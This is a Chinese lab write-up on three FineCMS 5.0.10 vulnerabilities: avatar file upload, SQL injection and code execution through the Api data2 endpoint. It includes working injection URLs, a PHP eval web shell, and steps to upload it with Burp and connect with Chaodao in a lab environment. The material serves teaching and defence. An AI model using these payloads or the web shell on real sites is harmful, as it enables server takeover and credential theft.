FineCMS 5.0.10漏洞集合

笔记地址: https://www.ichunqiu.com/course/59007
操作机:
Windows xp
IP:172.16.11.2

目标机:
Windows xp
IP:172.16.12.2

实验目的:
学习漏洞产生的原理
学习如何对此漏洞进行利用修复

实验内容:
FineCMS是一款基于PHP+MySql+CI框架开发的高效简洁的中小型内容管理系统。其5.0.10版本存在任意文件上传(SSV-93211),任意代码执行(CVE-2017-11585)漏洞以及SQL注入漏洞。

其中任意文件上传漏洞在上传用户头像处,可通过上传一句话木马,修改数据包内容,获取网站Shell。任意代码执行可利用漏洞,构造Payload执行任意代码,而SQL注入漏洞则可以通过注入获取到管理员的账号密码。此次FineCMS 5.0.10漏洞集合,危害巨大,将直接威胁到服务器的安全。

影响版本
FineCMSV5.0.10

实验步骤
步骤1:分别了解漏洞产生原理
第一:文件上传漏洞
漏洞代码位于/finecms/dayrui/controllers/member/Account.php 177~244,具体是在用户头像上传的地方,核心代码如下:
这里写图片描述
这里写图片描述
这里写图片描述
如上,代码仅判断了是否是图片类型,这个判断很容易绕过,只需使用抓包工具修改即可。

第二:sql注入漏洞
漏洞代码位于/finecms/dayrui/controllers/Api.php中的data2()函数,
这里写图片描述
这里写图片描述
这里写图片描述
这个函数可以调用到其他的敏感函数,函数传入的参数进入了 data=  this->template->list_tag($param),正常来说系统封装的函数是用户不能调用的,但这里用户可以调用data函数,我们继续追踪,查看/finecms/dayrui/libraries/Template.php,代码如下:
这里写图片描述
这里写图片描述
这里写图片描述
这里写图片描述
这里写图片描述
这里写图片描述
如上,将Sql语句处理后赋值给sql变量,最终直接执行。
构造Payload如下:
重要代码:
sql注入代码:

index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467¶m=action=sql sql='select user();'

这里写图片描述
第三:代码执行漏洞
上传代码:

 index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467¶m=action=cache name=MEMBER.1'];phpinfo();$a=['1

这里写图片描述
步骤二:(建议直接使用漏洞)
top one:(1、访问网址,注册账号)
首先登陆目标网址:172.16.12.2,注册账号:user1 密码:user1
文件上传已知在头像上传处,我们使用账号密码为user1 user1来登陆,在会员中心->上传头像上传文件。
top two:上传木马,将木马传到服务器上
登陆之后在桌面创建文件1.txt,写入一句话木马:

<?php eval($_POST["a"]);?>
其中的a为使用菜刀软件的密码

然后将名称修改为1.png,接下来点击上传头像。
在上传之前,我们需要设置浏览器代理,这样才能抓取到数据包:依次点击设置->高级->网络->设置,将代理设置为127.0.0.1:8080,并打开BurpSuite。
这里写图片描述
我们将png修改为php,点击Foward放行。这里如果报错,无需理会。
上传木马文件目的是
top three:菜刀连接访问
通过查看CMS框架,可以知道上传文件存储于uploadfile\member\3下
使用菜刀软件可以直接访问:http://172.16.12.2/uploadfile/member/3/0x0.php (木马路径), 其中末尾的.php为一个木马文件,密码为‘a’
这里写图片描述
进入服务器后台,可以直接查看到flag.txt
这里写图片描述
top four:sql注入漏洞:查找后台管理员账号密码
这里写图片描述
top five:上传代码
这里写图片描述

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值